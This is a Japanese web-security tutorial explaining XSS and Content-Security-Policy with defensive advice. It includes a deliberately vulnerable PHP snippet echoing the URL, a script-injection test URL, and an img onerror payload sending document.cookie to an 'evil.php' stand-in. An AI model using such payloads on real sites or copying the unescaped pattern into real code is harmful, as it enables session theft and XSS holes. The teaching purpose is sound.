前回のレビュー:前端ネットワークセキュリティ必修 1 SOP、CSRF と CORS
この記事では以下の内容について説明します:
- クロスサイトスクリプティング(Cross-site scripting、略称 XSS)
- コンテンツセキュリティポリシー(Content-Security-Policy、略称 CSP)
CSP は主に XSS 攻撃を防御するために作成されたものなので、まずは XSS について説明します。
XSS#
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
これはページが見つからない場合の一般的なメッセージコードであり、同時に XSS 攻撃に非常に脆弱な例です。ここでは、ユーザーが送信したものをそのまま HTML に挿入しています。
もちろん、http://testsite.test/file_which_not_exist
にアクセスすると、正常に表示されます:
Not found: /file_which_not_exist
しかし、悪いことをしようと思って http://testsite.test/<script>alert("私は悪いことをしようとしています");</script>
にアクセスすると、結果は次のようになります:
Not found: /
後ろに何も表示されていないように見えますが、防御措置が何もない場合、JavaScript コードが正常に実行されています。
一般的に、この攻撃で行われる悪いことは、ユーザーのクッキーを盗むことです。次のコードを挿入することで実現できます:
<img
src="xx"
onerror="post('../evil.php?cakemonster=' + escape(document.cookie))"
/>
上記のように、エラーメッセージと検索結果を利用した XSS 攻撃は、リフレクテッド XSSと呼ばれます。
もう 1 つの XSS 攻撃方法はストアド XSSです。
ストアド XSS も比較的理解しやすいです。攻撃者は悪意のあるスクリプトを被害サーバーに送信し、保存することで、特定のページにアクセスするすべての人が攻撃を受けることになります。
例えば、リッチテキストエディタに入れるコンテンツを適切に処理しないと、ストアド XSS 攻撃に簡単にさらされます。
XSS フィルタリング前後の違いをここで比較することができます。
また、悪名高い SQL インジェクションも同様の原理です。
HTML セキュリティインジェクション#
HTML は安全ではありません。なぜなら、<
や >
などの記号は HTML で特別な意味を持つためです。上記の例のように <>
をそのまま HTML に挿入すると、プロセッサはそれをタグとして解釈し、小なり記号と大なり記号ではないと判断します。
HTML 文字列では、実際の小なり記号は <
であり、大なり記号は >
です。これらは less than と greater than の意味を持ちます。同様に、スペースは
です。
上記で言及したエスケープ文字は、&
+ エンティティ名 + ;
の 3 つの部分で構成されています。また、エンティティ名ではなくエンティティ番号を使用することもできます。たとえば、#60
は lt
のエンティティ番号であり、<
と <
は同じものをレンダリングします。
エンティティ番号を調べるにはどうすればよいでしょうか? charCodeAt()
を使用することをお勧めします:
'网'.charCodeAt() // => 32593
网
は「网」という文字を表します。もしも望むのであれば、すべての文字をエンティティ番号で置き換えることさえできます 😂
以上は、PHP などのバックエンド言語で生成された HTML を使用する場合や、JavaScript の innerHTML などの DOM 操作で注意する必要がある内容です(React ユーザーなら、React は dangerouslySetInnerHTML
という属性名でこの操作が危険であることを明示的に示しています)。 innerText
を使用して挿入する場合は、HTML ではなく通常の文字列が挿入されるため、安心して <>
を使用できます。それらは単なる小なり記号と大なり記号の意味です 😀
CSP#
CSP はホワイトリストメカニズムであり、指定されたドメインのリソースのみを読み込むことを許可します。これは XSS 攻撃を防止するために使用できます。
CSP を使用する最初の方法は、HTTP ヘッダーで Content-Security-Policy を定義することです:
Content-Security-Policy: default-src https://cdn.example.net https://cdn.example2.net; object-src 'none'
CSP の値では、異なる属性は ;
で区切られ、同じ属性の複数の値はスペースで区切られます。上記の例では、デフォルトで https://cdn.example.net と https://cdn.example2.net のリソースを読み込むことが許可され、object-src に関連するリソースはホワイトリストがないため、完全に読み込むことができません。
要件を満たさないリソースを使用すると、ブラウザがブロックし、次のようなメッセージが表示されます:
Refused to execute inline script because it violates the following Content Security Policy directive
HTTP ヘッダーの代わりにメタタグを使用することもできます:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy の一般的なオプションは次のとおりです:
- default-src は src オプションのデフォルト値ですが、以下の値を上書きすることはできません:base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandbox
- base-uri
<base>
タグについて特筆すべきです。私は初めて見たので驚きました。ドキュメント内のすべての相対 URL のルート URL を指定します。ファイルには 1 つの<base>
タグしか使用できず、次のように使用します:<base target="_top" href="http://www.example.com/">
。 - connect-src XHR、WebSockets などの接続に使用するアドレス
- font-src フォントファイルのソース
- img-src 画像のソース
- media-src 音声や動画のソース
- object-src Flash 関連
- report-uri エラーが発生した場合に指定された URI に送信しますが、
<meta>
タグでは使用できません - style-src スタイルシートのソース
リソースリストでは、ドメイン名を指定するだけでなく、次の 4 つのキーワードを使用することもできます。シングルクォートを必ず追加することに注意してください:
- 'none' マッチングを行わない
- 'self' 現在のドメイン(サブドメインは含まれません)
- 'unsafe-inline' 行内の JavaScript と CSS を許可します
- 'unsafe-eval' eval のような操作を許可します
CSP が正しく設定されている場合、XSS によるインラインコードや外部の JavaScript ファイルがブロックされます。もちろん、これは最後の防御ラインです。前述のキーワードフィルタリングも XSS に対する良い方法です。
基本的には以上です。PHP、JSP などのバックエンド言語を使用して HTML ドキュメントを構築する際に XSS の脆弱性がないか注意するようにしてください。また、フロントエンドとバックエンドが分離されている今日、XSS はリッチテキストエディタにも存在する可能性があるため、注意が必要です。
オリジナル記事へのリンク:https://ssshooter.com/2019-11-10-csp-n-xss/